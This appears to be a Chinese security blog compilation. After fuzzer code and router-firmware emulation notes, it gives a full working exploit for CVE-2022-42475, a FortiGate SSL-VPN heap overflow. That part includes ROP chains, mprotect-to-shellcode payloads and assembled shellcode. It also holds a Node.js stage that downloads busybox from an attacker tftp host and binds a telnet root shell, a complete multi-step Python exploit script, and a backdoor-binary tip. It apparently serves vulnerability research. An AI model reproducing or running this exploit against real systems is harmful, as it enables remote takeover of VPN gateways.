responseHandle(seed, m.SnippetMutationSend(seed, i))                    seed.M[i].raw["Content"] = tempMessage                    # ========  Interesting ========                    print("--Interesting")                    interestingString = ["on", "off", "True", "False", "0", "1"]                    for t in interestingString:                        message = seed.M[i].raw["Content"]                        message = message[: snippet[0]] + t + message[snippet[1] + 1:]                        seed.M[i].raw["Content"] = message                        responseHandle(seed, m.SnippetMutationSend(seed, i))                        seed.M[i].raw["Content"] = tempMessage        seed.Snippet.append(mutatedSnippet)    return 0

Summary

Snipuzz 通过启发式搜索、相似度计算、层次聚类的方式实现功能的广度覆盖，但仍然存在一定的不足， 没有对不同类型的协议进行针对性的处理，相似度计算法也不够优秀，变异方式过于单一等。

方式一

sudo chroot . ./qemu-arm-static -E LD_PRELOAD="./libnvram.so" ./usr/sbin/httpd

方式二

1. 复制 qemu-arm-static 到 squashfs-root 中

where qemu-arm-staticcp /usr/bin/qemu-arm-static ./squashfs-root/

1. 启动

cd squashfs-rootsudo chroot . ./qemu-arm-static ./usr/sbin/httpd

启动时的错误处理

遇见 openssl 相关错误

错误原因代码：

运行 gencert.sh

在调用 nvram 相关命令时出错，原因不存在 nvram

#!/bin/shSECS=1262278080cd /etcNVCN=`nvram get https_crt_cn`if [ "$NVCN" == "" ]; then        NVCN="router.asus.com"ficp -L openssl.cnf openssl.configI=0for CN in $NVCN; do        echo "$I.commonName=CN" >> openssl.config        echo "$I.commonName_value=$CN" >> openssl.config        I=$(($I + 1))done........ 以上是部分代码

报错截图：

解决办法

nvram 中保存了设备的一些配置信息，而程序运行时需要读取配置信息，由于缺少对应的外设，因此会报错。要编译 nvram 文件，可以使用 Firmadyne 提供的 libnvram 库，因为其支持很多的 api。

libnvram.so 编译

libnvram 运行中其他错误

运行后，发现仍然缺少一些键值对，

错误截图：

解决方法

返回修改 libnvarm 的 config.h 文件添加对应的键值对

通过 ida 中 strings 搜索对应的 key 进行 value 的查找

time_zone_x

value

PST8PDT

HTTPD_DBG

Value

0 or 1

https_crt_gen

Value

0 or 1

https_crt_save

Value

0 or 1

修改后

nvram_init: Unable to touch Ralink PID file: /var/run/nvramd.pid!

错误截图：

解决方法

手动 touch 一个文件进去

touch var/run/nvramd.pid

cp: can’t stat ‘/mnt/libnvram.override/*’: No such file or directory

一样创建一个

mkdir mnt/libnvram.override

ssl 相关错误，例如 lib(2):func(1):reason(2):NA:0:fopen(‘/etc/cert.pem’,‘r’) 等一系列问题

解决方法

根据错误搜索/etc/cert.pem

通过分析上下文 + 本地文件生成可以知道，脚本 gencert.sh 并没有良好工作，需要我们在本地利用 openssl 生成对应的文件并 copy 到 etc 文件夹下即可

1. 生成 privkey.pem 及 cert.csr

openssl req -new -out /tmp/cert.csr -keyout /tmp/privkey.pem -newkey rsa:2048 -passout pass:password

1. 生成 key.pem

openssl rsa -in /tmp/privkey.pem -out key.pem -passin pass:password

1. 生成 cert.pem

RANDFILE=/dev/urandom openssl req -x509 -new -nodes -in /tmp/cert.csr -key key.pem -days 3653 -sha256 -out cert.pem

1. 生成 server.pem

cat key.pem cert.pem > server.pem

1. 复制到/tmp/etc/下

cp server.pem cert.pem cert.crt key.pem ./tmp/etc

再次运行 搞定

sudo ln -s ~/am-toolchains/brcm-arm-sdk/hndtools-arm-linux-2.6.36-uclibc-4.5.3 /opt/brcm-armecho "PATH=\$PATH:/opt/brcm-arm/bin" >> ~/.profilesource ~/.profile

1. 下载 libnvram 项目
2. 配置编译相关依赖

export CC=arm-uclibc-gcc<em>export LD_LIBRARY_PATH=${LD_LIBRARY_PATH}:/opt/brcm-arm/lib:/usr/local/lib:/usr/lib</em>

5. 使用 ldd 命令查看依赖是否补全

ldd arm-uclibc-gcc

发现还缺少 libelf 库，32 位版本

1. 对 kali 添加 32 架构支持

sudo dpkg --add-architecture i386sudo apt update

1. 安装 libelf1:i386

sudo apt-get install libelf1:i386

1. 修改 config.h 中的配置文件

为了初始化 nvram 时能够正确的配置信息，需要对 config.h 修改

修改图中参数为 eth0 网卡 ip 地址与广播地址

修改挂载点，修改后需要在文件系统中创建目录 mkdir ./mnt/libnvram

如果需要加其他 nvram 的启动配置参数，也在这里进行添加

1. 尝试编译

make

提示一个 warning

1. 修改 Makefile，添加 gnu，修复 warning

-D_GNU_SOURCE

9.再次编译，大功告成

以及调试环境搭建 gdb-server 配置

复现过程

根据文章 https://wzt.ac.cn/2022/12/15/CVE-2022-42475/，可以快速定位到可控制的溢出点，但是不同环境的原因 貌似溢出点地址有变，例如我 init 中在 0000000001780BFB

调试 exp 时建议在此处下断点，不是百分百触发该位置，因为有时会覆盖到其他 结构位置 在赋值时导致错误。

1. 确定溢出偏移

为了快速确定偏移，这里建议用 peda 的 pattern 生成 Payload 进行触发

接着当断点触发在 jmp rax 的时候，查看当前 rax 的值计算 offset，通过大量测试基本会存在两种情况偏移会触发到 jmp rax，

分别是 2592,1568，并且 2592 偏移触发几率大于 1568，所以接下来的 exp 构造均在 2592 处，此时我们就可以通过 2592+payload 来控制跳转了

1. 栈迁移

由于此时是堆溢出，只能控制一次跳转，我们需要利用栈迁移将栈地址移动到我们可控的位置，通过寄存器信息可以知道目前被溢出的位置有以下几个寄存器，RAX 用来栈迁移，RDX 可控，内容是溢出的字符（截图是 exp 构造后的），R11 可控，内容是溢出字符。

所以我们目标是找到类似 push RDX，pop rsp 或 push r11，pop rsp 的 gadget。接着通过 ropgadget 生成所有的 gadget 并输出到文本（你问我为啥不直接查找？卡到爆！！！）

接着利用命令关联搜索 cat gadget.txt| grep "push rdx"| grep "pop rsp"

发现有一个比较符合的 0x000000000140583a : push rdx ; pop rsp ; add edi, edi ; nop ; ret

接着我们就能将栈迁移到到 rdx 所指的内存处了

1. 计算 rdx 可控偏移

那此处计算方式就和上方一致了，通过再次利用 pattern 进行溢出，并计算 rdx 处的偏移，通过计算得到偏移为 2400

1. 构造 exp

此时 rdx 内存处可控，正式开始构造 exp，目前的 exp 是基于 busybox 的，不是真正意义上的 exp，但是也是一样的证明了可以任意代码执行。

gadget1 = 0x000000000140583a #        payload = b"B"*2400        #payload += int_to_bytes(0x46bb37) + b"\x00"*5 # : pop rax ; ret        payload += int_to_bytes(0x60b30e)+ b"\x00"*5 # : pop rax ; pop rcx ; ret        payload += int_to_bytes(0x58) + b"\x00"*7 # sell offset        payload += int_to_bytes(0x2608366) + b"\x00"*4  #junk op, add r13, r8 ; ret        payload += int_to_bytes(0x2608366) + b"\x00"*4  #junk op, add r13, r8 ; ret        payload += int_to_bytes(0x2a0e1c0) + b"\x00"*4 # add rdx, rax ; mov eax, edx ; sub eax, edi ; ret        payload += int_to_bytes(0x257016a) + b"\x00"*4 #push rdx; pop rdi; ret;        payload += int_to_bytes(0x530c9e) + b"\x00"*5# : pop rsi ; ret        payload += b"\x00"*8 # sell offset 0        payload += int_to_bytes(0x509382) + b"\x00"*5# : pop rdx ; ret        payload += b"\x00"*8 # sell offset 0        payload += int_to_bytes(0x5693D5) + b"\x00"*5 # call system        payload += b"/bin/busybox telnetd -l /bin/sh -b 0.0.0.0 -p 22"+b"\x00"*8        raw = payload+b"A"*(2592-len(payload))        raw += int_to_bytes(gadget1)

简单讲解一下 payload，首先是 pop rax 用处是 存放距离命令字符串的偏移量，这个可以通过调试也能得到。

这里由于调试时发现会在栈中多出个 1 导致 pop rax；ret 后执行地址 1 出现错误，所以需要找一个 pop rax 后早 pop 某个寄存器让这个 1 出栈，最终找到了 pop rax ; pop rcx ; ret，不会影响其他 gadget。

接着调试时发现了一些栈不平衡的问题，利用一些 junk gadget 用来补齐栈

接着 add rdx, rax 得到命令字符串的地址，并存在 rdx 中

最后构造 system(cmd,0,0);进行任意命令执行，这里注意需要控制的三个寄存器 rdi、rsi、rdx

查看一下构造 system 前的寄存器和栈空间

1. 多次发送 payload 后会多出一个进程开在 22 端口，通过 telnet 连接上去成功获得 shell

Exp

import socketimport sslfrom struct import packdef int_to_bytes(n, minlen=0):    """ Convert integer to bytearray with optional minimum length.     """    if n > 0:        arr = []        while n:            n, rem = n >> 8, n & 0xff            arr.append(rem)        b = bytearray(arr)    elif n == 0:        b = bytearray(b'\x00')    else:        raise ValueError('Only non-negative values supported')    if minlen > 0 and len(b) < minlen: # zero padding needed?        b = (minlen-len(b)) * '\x00' + b    return bpath = "/remote/login".encode()id = 0while True:    print("#"+str(id))    #access mem addr 0x164e000 - 0x17a1fff    CL=0x1b00000000    # push rdx ; pop rsp ; add edi, edi ; nop ; ret    gadget1 = 0x000000000140583a    try:        payload = b"B"*2400        #payload += int_to_bytes(0x46bb37) + b"\x00"*5 # : pop rax ; ret        payload += int_to_bytes(0x60b30e)+ b"\x00"*5 # : pop rax ; pop rcx ; ret        payload += int_to_bytes(0x58) + b"\x00"*7 # sell offset        payload += int_to_bytes(0x2608366) + b"\x00"*4  #junk op, add r13, r8 ; ret        payload += int_to_bytes(0x2608366) + b"\x00"*4  #junk op, add r13, r8 ; ret        payload += int_to_bytes(0x2a0e1c0) + b"\x00"*4 # add rdx, rax ; mov eax, edx ; sub eax, edi ; ret        payload += int_to_bytes(0x257016a) + b"\x00"*4 #push rdx; pop rdi; ret;        payload += int_to_bytes(0x530c9e) + b"\x00"*5# : pop rsi ; ret        payload += b"\x00"*8 # sell offset 0        payload += int_to_bytes(0x509382) + b"\x00"*5# : pop rdx ; ret        payload += b"\x00"*8 # sell offset 0        payload += int_to_bytes(0x5693D5) + b"\x00"*5 # call system        payload += b"/bin/busybox telnetd -l /bin/sh -b 0.0.0.0 -p 22"+b"\x00"*8        raw = payload+b"A"*(2592-len(payload))        raw += int_to_bytes(gadget1)        #raw += int_to_bytes(gadget2)        data = b"POST " + path + b" HTTP/1.1\r\nHost: 192.168.109.111\r\nContent-Length: " + str(int(CL)).encode() + b"\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\n"+raw        _socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        _socket.connect(("192.168.109.111", 4443))        _default_context = ssl.SSLContext(ssl.PROTOCOL_TLSv1)        _socket = _default_context.wrap_socket(_socket)        _socket.sendall(data)        sleep(1)        _socket.sendall(b'ls')        res = _socket.recv(1024)        print(res)                  #res = _socket.recv(1024)        #if b"HTTP/1.1" not in res:        #    print("Error detected")        #    print(CL)        #    continue    except Exception as e:        pass    id+=1

上述 exp 不能再 real 环境下达到效果，主要原因是调用 system 默认会调用/bin/sh -c cmd 来执行命令，但 real 环境里 sysctl 中没有 sh 功能，导致通过 system 函数无法成功命令。

测试代码

#include <stdio.h>int main(int argc, char const *argv[]){        system(argv[1],0,0);        return 0;}

REAL EXP

由于在 real environment 中 sh 是不存在的，所以我们不能简单使用 system 执行，从而我们将目光转向 exec*家族

可以看到 init 文件中，exec 家族函数还是很全的！！

思考

这里会遇到个问题，我们命令执行要干什么呢？执行/bin/sh 是无用的 那我们还怎么能拿到 shell 呢？

这里我的想法是 给他想办法弄一个 busybox ？可以考虑方式 1. 分析/bin/中有什么可以传输文件的程序 2.rop 写一个文件写入的 gadget，并且传输过去文件

最终我采用方式 1 ，原因是方式 2 传输文件可能会让输入过长 导致 socket 断开 等一系列网络问题

构造执行 rop

这里需要知道 exec*家族有两大派系，一种是参数传参，另一种是数组传参

#include <unistd.h>int execl(const char *path, const char *arg, ...);int execlp(const char *file, const char *arg, ...);int execle(const char *path, const char *arg, ..., char *const envp[]);int execv(const char *path, char *const argv[]);int execvp(const char *file, char *const argv[]);int execve(const char *path, char *const argv[], char *const envp[]);

通过编写了个 demo 程序熟悉一下调用方式,这里用的是参数传参，原因是我想直接 rop 到寄存器然后执行

#include <stdio.h>#include <unistd.h>gcc -g test.c -static -o testvoid main(){      execl("/bin/tftp","/bin/tftp", "192.168.109.128", "busybox", "get", "octet", "/sbin/busybox", NULL);}

查看 ida

通过 ida 也可以再熟悉一下 x64 的调用顺序

rdi rsi rdx rcx r8 r9 stack stack+8 .....

那我们需要写一个 rop chain，至少需要以下 gadget

获取rsp地址 并且能计算rsp偏移例如 mov reg, rsp;ret, add reg ,offet; ret 或者 push rps; ret pop reg; ret , add reg, offet; ret将栈中地址传递到寄存器中至少需要 pop rdi；pop rsi；pop rdx；pop rcx; pop r8;pop r9call exec* 这个程序中都有

当能构造出这些参数时会遇到问题，栈中字符串问题：

当字符串 byte>8 时，直接放在栈中会导致占空间额外多出一个部分

例如我 rop 中放入字符串 192.168.109.128 则栈中 rsp 部分确实是 该字符串，但 rsp+8 的位置却变成了 109.128

这个问题会导致我们构造参数时会多出不可控的字符串。导致如果考虑 char 列表来调用的话 rop chain 会修改的非常麻烦！！！非常非常麻烦！

从而目光转向寄存器传参的方式，该方式也存在问题

1. 寄存器传参 rop 时 越向后构造越会出现没有好用的 gadget 的情况，因为你不能破坏前面几个参数
2. rop 时字符串地址会和上一种方式相同 会出现字符串地址连续的情况，但该情况可以通过多次 rop 将字符串分割，并且多次计算 rsp 地址得到

此时 我的想法是 如何能得到非常够用的 gadget 呢？最好的情况就是能执行 shellcode 因为这样就可以满足条件一以及轻松的满足条件二

ROP2mprotect

熟悉的 ctf 技巧，想办法将 rop 转化为 ret2shelllcode，尝试在 init 中搜索 mprotect 函数，可以看到存在，并且存在两处调用，这非常有用，这样我们就可以在 rop 是直接到这两处地址的位置调用 call _mprotect 了

但要注意我们还是需要 rop 构造 mprotect 参数，首先 为了后续更好的继续执行 shellcode，我们需要确定当前输入的栈空间地址，由于我们是 rop，最好不要出现固定地址，防止不同环境下可能无法通用的情况，所以我们要么选择 leak，要么选择 rop 中通过 push rsp，pop reg 的方式获得当前栈地址，同时理由 add reg，offse 的方式来控制地址具体的位置

在溢出点位置 查看 proc map，这里首先要考虑的能读写的位置，接着最好是现有可控的空间

此时，可控的空间是 RDX 所指向的内存地址，他所属的内存段为 0x7f6de0b2a000，我们需要将此内存空间赋予执行权限，并 rop ret 到该地址 从而达到 ret2shellcode 的步骤

所以这段 rop 就可以构造了

payload = b"B"*2400        payload += int_to_bytes(0x60b30e)+ b"\x00"*5 # : pop rax ; pop rcx ; ret        payload += int_to_bytes(0xfffffffffffa9688) # offset        payload += int_to_bytes(0x2608366) + b"\x00"*4  #junk op, add r13, r8 ; ret        payload += int_to_bytes(0x2608366) + b"\x00"*4  #junk op, add r13, r8 ; ret        payload += int_to_bytes(0x2a0e1c0) + b"\x00"*4 # add rdx, rax ; mov eax, edx ; sub eax, edi ; ret        payload += int_to_bytes(0x257016a) + b"\x00"*4 # #push rdx; pop rdi; ret;        payload += int_to_bytes(0x530c9e) + b"\x00"*5 # : pop rsi ; ret        payload += int_to_bytes(0x258000) + b"\x00"*5        payload += int_to_bytes(0x509382) + b"\x00"*5 # : pop rdx ; ret        payload += int_to_bytes(0x7) + b"\x00"*7               payload += int_to_bytes(0x1537F26) + b"\x00"*4 # jmp _mprotect

简单说明一下这段 gadget

pop rax 用来存放偏移地址，用来微调 rsp 的

Pop rcx 是由于栈空间多出了个 1，无用数据需要出栈

接着是 offset，用于计算 proc map base address 的，就是当前栈的 rsp 与当前内存段其实地址的偏移，由于下面用到的 add gadget 所以这里要用负数

Junk op 不做实际操作

Add rdx， rax 计算 rsp 的偏移 准备给他执行权限

Pop rdi 作为 mprotect 的第一个参数 ：地址

Pop rsi 作为 mprotect 的第二个参数： 赋予多大的空间 len

Pop rdx 作为 mprotect 的第三个参数：赋予的权限 7 = r w x

接着 调用现有的 gadget，jmp mprotect 执行赋予权限

rop 后查看当前内存，发现多出了一段可执行内存。

Ret2shellcode

我们成功得到了可执行的内存空间，那接下来 只需要 ret 到这里就可以了，具体 ret 到哪里需要我们通过向后填充 shellcode，并在调试时计算出 offset 之后再跳转过去，而不是直接跳转，所以这里我们执行完后还需要再构造一段计算 offset 的 rop chain

payload += int_to_bytes(0x46bb37) + b"\x00"*5 # pop rax ; retpayload += int_to_bytes(0x56a40) + b"\x00"*5 # offset to stackpayload += int_to_bytes(0x7d4f4d) + b"\x00"*5 # add rax, rdi ; retpayload += int_to_bytes(0x43dccc) + b"\x00"*5 # push rax ; ret

同样利用 rax 存 offset 微调 rsp

rdi 是 当时计算后的 base mem 地址

最后把计算出的 shellcode 地址 压栈 ret

参考下图 ，rax 存的是 shellcode 的地址，并且已经将该地址压栈执行

Shellcode 构造

此时我们解决的 gadget 不足的问题，可以随心所欲的编写调用了，为了更好的控制参数，我们选用 寄存器的方式传参，这里还要注意 我们不能直接在 shellcode 中调用 exec 家族，当然你可以 syscall，但是这里我选择 ret2shellcode 中只负责构造参数部分，具体执行 exec 的事情交给接下来的工作。

from pwn import *context(log_level='debug', arch='amd64', os='linux')def bytes2stack_bytes(bytes):    stack_str = "0x"    swap_data = bytearray(bytes)    swap_data.reverse()    for i in swap_data:        t = hex(i)[2:]        stack_str+=t        return stack_strdef gen_shellcode_download_file():    save_path = bytes2stack_bytes(b"/sbin/bu")    arg2 = bytes2stack_bytes(b"octet")    arg1 = bytes2stack_bytes(b"get")    filename = bytes2stack_bytes(b"1.js")    ip_addr2 = bytes2stack_bytes(b"109.128")    ip_addr1 = bytes2stack_bytes(b"192.168.")        cmd_path2 = bytes2stack_bytes(b"p")    cmd_path1 = bytes2stack_bytes(b"/bin/tft")    shellcode = asm('''      sub rsp,0x1000      push 0      mov rbx, {}      push rbx      mov r9, rsp      mov rbx, {}      push rbx      mov r8, rsp      mov rbx, {}      push rbx      mov rcx,rsp      mov rbx, {}      push rbx      mov rbx, {}      push rbx      mov rdx,rsp      mov rbx,{}      push rbx      mov rbx,{}      push rbx      mov rsi,rsp      mov rdi,rsp      push 0      mov rbx,{}      push rbx      mov r10, rsp      add rax, 0x90      mov rsp, rax      push r10      sub rsp, 0x8      nop      ret'''.format(arg2,arg1,filename,ip_addr2,ip_addr1,cmd_path2,cmd_path1,save_path))    print(shellcode)    print(len(shellcode))def gen_shellcode_execl():    # execl("/bin/node","/bin/node","/sbin/bu")    js_path = bytes2stack_bytes(b"/sbin/bu")    bin_path2 = bytes2stack_bytes(b"e")    bin_path1 = bytes2stack_bytes(b"/bin/nod")    shellcode = asm('''      sub rsp,0x1000      mov rcx, 0      mov rbx, {}      push rbx      mov rdx,rsp      mov rbx,{}      push rbx      mov rbx,{}      push rbx      mov rsi,rsp      mov rdi,rsp      add rax, 0x40      mov rsp, rax      nop      nop      nop      ret'''.format(js_path, bin_path2, bin_path1))    print(shellcode)    print(len(shellcode))gen_shellcode_execl()

简单说明一下两段 shellcode，都是在将字符串压栈，然后计算当前的 rsp 地址，并且保存地址到栈的其他位置。由于栈空间的机制，我们字符串压栈最大长度是 8，所以当处理大于 8 的字符串时我们需要分割一下并且从后向前压栈

注意我的 shellcode 开头，将栈又做了个迁移，这个原因是此时 ret2shellcode 的地址与栈地址重叠 如果不这么做，会导致你压栈的数据破坏掉了原有的 shellcode，导致无法继续执行，所以需要再开辟一段新的占空间，这里选择还是 ssl 结构体中的位置，因为此时数据均为 00000。

之后就正常构造参数，并要确定参数位置均正确，但不要忘记！！！我们 shellcode 最终位置需要执行 ret，但是 ret 去哪里呢？我们还需要计算一下接下来的 rop 所存内存地址与当前可控地址的偏移，并且这段计算需要提前放在 shellcode 中。

这里还有个坑点!!!

就是最上述中说的，寄存器参数并不够，还有两个参数需要在栈中，注意是这指向这两个参数的地址在栈中，！！！不是字符串！！！ 其他寄存器参数也同样是参数的地址 而不是字符串！！！！

以及这两个字符串地址并不是压在 shellcode 所在的栈中，而是需要在计算出 rop 处地址后的下一个地址，原因在 ret 后栈空间会跑到 rop 所处地址，此时栈的 rsp 是 rop gadget+8 的位置，那在 shellcode 中则需要先计算出 gadget+8 的地址并且压入栈中后在 ret 过去

push 前：

push 后，可以看到 push 是将字符串压栈进了 c8 的位置，而不是 d0，这里是需要注意的

ret 前的堆栈 + 寄存器信息，可以看到满足调用布局

最终成功下载到文件（左侧是最终执行 execv 前的栈空间信息，右侧是成功下载文件的实例）

接着通过 node 文件去构造文件下载及后续 getshell 的方法

Nodejs shellcode

当下载下来发现，原来通过 tftp 下载下来的文件 只有读写权限！！并没有执行权限！！！那我们并不能直接 busybox 或者其他 backdoor 程序，因为不能执行。

当然此处的标题就是解决方法了，在搜索时发现飞塔居然内置了个 nodejs！通过测试发现 nodejs xx.js 是可执行的，并且 nodejs 也存在修改文件权限的函数，那此时思路就更清晰了

1. 通过之前的命令执行下载 shell.js
2. shell.js 中至少要包含以下功能
3. 一：下载 busybox （比之前的操作简单多了！）
4. 二：给 busybox 执行权限
5. 三：弄一个 busybox 的 shell 软链
6. 四：调用 busybox 中内置的命令 起 shell

最终成功构造出以下 shellcode

var fs = require('fs');const https = require('https')const { execFile, execFileSync } = require('child_process');function exp() {         const file2 = '/bin/ash';        fs.access(file2, fs.constants.F_OK, (err) => {          if (err) {                  try{                    const res = fs.symlinkSync('/sbin/busybox','/bin/ash');                    console.log('ash create success');                                    }catch(ex){                    console.log('ash create error' + ex);                }          }else {                  console.log('ash already created');          }        });        const stdout1 = execFileSync('/bin/killall', ['sshd']);        const stdout2 = execFileSync('/sbin/busybox', ['telnetd', '-l', '/bin/ash', '-b', '0.0.0.0', '-p','22']);        console.log(stdout1);        console.log(stdout2);        console.log('shell process create success');}const file1 = '/sbin/busybox';fs.access(file1, fs.constants.F_OK, (err) => {  if (err) {          try{            execFile('/bin/tftp', ['192.168.109.128','busybox','get', 'octet', '/sbin/busybox'], (err, stdout, stderr) => {            if(err) {                console.log(err);                return;            }            console.log('download success');            fs.chmodSync('/sbin/busybox', 777);            console.log('chmod success');            exp();        });                            }catch(ex){            console.log('ash create error' + ex);        }  }else {          console.log('busybox already download');          exp();            }});

最终 再次利用命令执行执行 nodejs 1.js 成功完成利用

什么？你突然产生疑问？tftp 服务器怎么搭建呢？？

TFTP 服务器搭建

sudo apt-get install xinetdsudo apt-get install tftp tftpdsudo vim /etc/xinetd.d/tftp

修改配置文件，主要改目录

service tftp{        socket_type             = dgram        protocol                = udp        wait                    = yes        user                    = root        server                  = /usr/sbin/in.tftpd    //服务程序路径        server_args             = -s /home/ios/tftpboot/    //可以访问的tftpd服务器下的目录        disable                 = no            //是否开机启动        per_source              = 11        cps                     = 100 2        flags                   = IPv4}

新建目录

mkdir /home/ios/tftpboot/接着把需要用到的两个文件复制进去cp busybox /home/ios/tftpboot/cp 1.js /home/ios/tftpboot/

搞定

最终稳定的 Real EXP！！！

import socketimport timeimport sslfrom struct import packdef int_to_bytes(n, minlen=0):    """ Convert integer to bytearray with optional minimum length.     """    if n > 0:        arr = []        while n:            n, rem = n >> 8, n & 0xff            arr.append(rem)        b = bytearray(arr)    elif n == 0:        b = bytearray(b'\x00')    else:        raise ValueError('Only non-negative values supported')    if minlen > 0 and len(b) < minlen: # zero padding needed?        b = (minlen-len(b)) * '\x00' + b    return bdef setp1():    print("current step: download 1.js")    path = "/remote/login".encode()    CL=0x1b00000000    # push rdx ; pop rsp ; add edi, edi ; nop ; ret    gadget1 = 0x000000000140583a    try:        payload = b"B"*2400        payload += int_to_bytes(0x60b30e)+ b"\x00"*5 # : pop rax ; pop rcx ; ret        payload += int_to_bytes(0xfffffffffffa9688) # offset        payload += int_to_bytes(0x2608366) + b"\x00"*4  #junk op, add r13, r8 ; ret        payload += int_to_bytes(0x2608366) + b"\x00"*4  #junk op, add r13, r8 ; ret        payload += int_to_bytes(0x2a0e1c0) + b"\x00"*4 # add rdx, rax ; mov eax, edx ; sub eax, edi ; ret        payload += int_to_bytes(0x257016a) + b"\x00"*4 # #push rdx; pop rdi; ret;        payload += int_to_bytes(0x530c9e) + b"\x00"*5 # : pop rsi ; ret        payload += int_to_bytes(0x258000) + b"\x00"*5        payload += int_to_bytes(0x509382) + b"\x00"*5 # : pop rdx ; ret        payload += int_to_bytes(0x7) + b"\x00"*7               payload += int_to_bytes(0x1537F26) + b"\x00"*4 # jmp _mprotect        payload += int_to_bytes(0x46bb37) + b"\x00"*5 # pop rax ; ret        payload += int_to_bytes(0x56a40) + b"\x00"*5 # offset to stack        payload += int_to_bytes(0x7d4f4d) + b"\x00"*5 # add rax, rdi ; ret        payload += int_to_bytes(0x43dccc) + b"\x00"*5 # push rax ; ret                print(len(payload))        raw = payload+b"A"*(2592-len(payload))        raw += int_to_bytes(gadget1) +b"\x00"*4                raw += b'H\x81\xec\x00\x10\x00\x00j\x00H\xbboctet\x00\x00\x00SI\x89\xe1H\xc7\xc3get\x00SI\x89\xe0H\xc7\xc31.jsSH\x89\xe1H\xbb109.128\x00SH\xbb192.168.SH\x89\xe2H\xc7\xc3p\x00\x00\x00SH\xbb/bin/tftSH\x89\xe6H\x89\xe7j\x00H\xbb/sbin/buSI\x89\xe2H\x05\x90\x00\x00\x00H\x89\xc4ARH\x83\xec\x08\x90\xc3'        raw += int_to_bytes(0x161DB33) +b"\x00"*4 # call execl                        data = b"POST " + path + b" HTTP/1.1\r\nHost: 192.168.109.111\r\nContent-Length: " + str(int(CL)).encode() + b"\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\n"+raw        _socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        _socket.connect(("192.168.109.111", 4443))        _default_context = ssl.SSLContext(ssl.PROTOCOL_TLSv1)        _socket = _default_context.wrap_socket(_socket)        _socket.sendall(data)    except Exception as e:        print(e)def setp2():    print("current step: execute 1.js")    path = "/remote/login".encode()    CL=0x1b00000000    # push rdx ; pop rsp ; add edi, edi ; nop ; ret    gadget1 = 0x000000000140583a    try:        payload = b"B"*2400        payload += int_to_bytes(0x60b30e)+ b"\x00"*5 # : pop rax ; pop rcx ; ret        payload += int_to_bytes(0xfffffffffffa9688) # offset        payload += int_to_bytes(0x2608366) + b"\x00"*4  #junk op, add r13, r8 ; ret        payload += int_to_bytes(0x2608366) + b"\x00"*4  #junk op, add r13, r8 ; ret        payload += int_to_bytes(0x2a0e1c0) + b"\x00"*4 # add rdx, rax ; mov eax, edx ; sub eax, edi ; ret        payload += int_to_bytes(0x257016a) + b"\x00"*4 # #push rdx; pop rdi; ret;        payload += int_to_bytes(0x530c9e) + b"\x00"*5 # : pop rsi ; ret        payload += int_to_bytes(0x258000) + b"\x00"*5        payload += int_to_bytes(0x509382) + b"\x00"*5 # : pop rdx ; ret        payload += int_to_bytes(0x7) + b"\x00"*7               payload += int_to_bytes(0x1537F26) + b"\x00"*4 # jmp _mprotect        payload += int_to_bytes(0x46bb37) + b"\x00"*5 # pop rax ; ret        payload += int_to_bytes(0x56a40) + b"\x00"*5 # offset to stack        payload += int_to_bytes(0x7d4f4d) + b"\x00"*5 # add rax, rdi ; ret        payload += int_to_bytes(0x43dccc) + b"\x00"*5 # push rax ; ret                print(len(payload))        raw = payload+b"A"*(2592-len(payload))        raw += int_to_bytes(gadget1) +b"\x00"*4        # ret2shellcode        raw += b'H\x81\xec\x00\x10\x00\x00H\xc7\xc1\x00\x00\x00\x00H\xbb/sbin/buSH\x89\xe2H\xc7\xc3e\x00\x00\x00SH\xbb/bin/nodSH\x89\xe6H\x89\xe7H\x83\xc0@H\x89\xc4\x90\x90\x90\xc3'        # rop to execl        raw += int_to_bytes(0x161DB33) +b"\x00"*4 # call execl                        data = b"POST " + path + b" HTTP/1.1\r\nHost: 192.168.109.111\r\nContent-Length: " + str(int(CL)).encode() + b"\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\n"+raw        _socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        _socket.connect(("192.168.109.111", 4443))        _default_context = ssl.SSLContext(ssl.PROTOCOL_TLSv1)        _socket = _default_context.wrap_socket(_socket)        _socket.sendall(data)    except Exception as e:        print(e)def main():    #step1 = b"tftp 192.168.109.128 1.js get octet /sbin/bu"    for i in range(10):        time.sleep(0.1)        setp1()    #step2 = b"/bin/node /sbin/bu"    time.sleep(10) #wait for sslvpn reboot    for i in range(10):        time.sleep(0.1)        setp2()main()

可能存在的问题

1. 发送 exp 失败，需要低版本的 python+ 低版本的 linux 环境，这里用的是 python2
2. exp 没生效？ 可以考虑打完 step1 后等待一段时间 5-10s 后再执行 step2
3. 为什么要分开构造 shellcode？为何不一次构造完成

这么考虑的点是这样的，首先执行 execl 后会劫持程序，执行成功后不会返回错误会直接退出程序，而上述 payload 中没有用到 fork 来创建进程，从而程序执行完 execl 后会退出，无法继续跳转回原来的 payload 继续 rop 或者 ret2shellcode。

1. 有没有简单的拿后门方法？有替换 smartctl 为你的后门 binary，接着在登录后执行 diagnose hardware smartctl arg1 arg2 ... 的方式执行

这里提供一个简单的

#include <stdio.h>#include <unistd.h># gcc -g -static s.c -o sint main(int argc, char const *argv[]){        execl(argv[1], argv[1], argv[2], argv[3], argv[4], argv[5], argv[6], NULL);        return 0;}

1. 下载 gdb-server static 版本，这里选择下载 gdbserver-7.10.1-x64

gdb-static

1. 添加 gdb-server 到 rootfs 中并重打包

cp /path/to/gdbserver-7.10.1-x64 ./bin/gdbserverchmod 777 ./bin/gdbserverchroot . /sbin/ftar -cf bin.tar ./binrm -rf bin.tar.xzchroot . /sbin/xz --check=sha256 -e bin.tarfind . -path './bin' -prune -o -print |cpio -H newc -o > ../make/rootfs.rawcd ../makecat rootfs.raw | gzip > rootfs.gz

1. 启动 shell

注意我们能从外访问到内部的端口是有限的，建议用 ssh 22 端口和 telnet 的 23 端口

killall sshd && /bin/busybox telnetd -l /bin/sh -b 0.0.0.0 -p 22

默认 shell 是 22 端口 ,所以调试端口就用 23，使用 busybox ps -a 命令查看所有的进程 pid，确定 sslvpn 的 pid，接着并行执行两条命令附加调试

killall telnetd && gdbserver :23 --attach 1

接着用 gdb 远程连接即可

target remote 192.168.109.111:23

最后就可以开启愉快地调试之旅了！！！

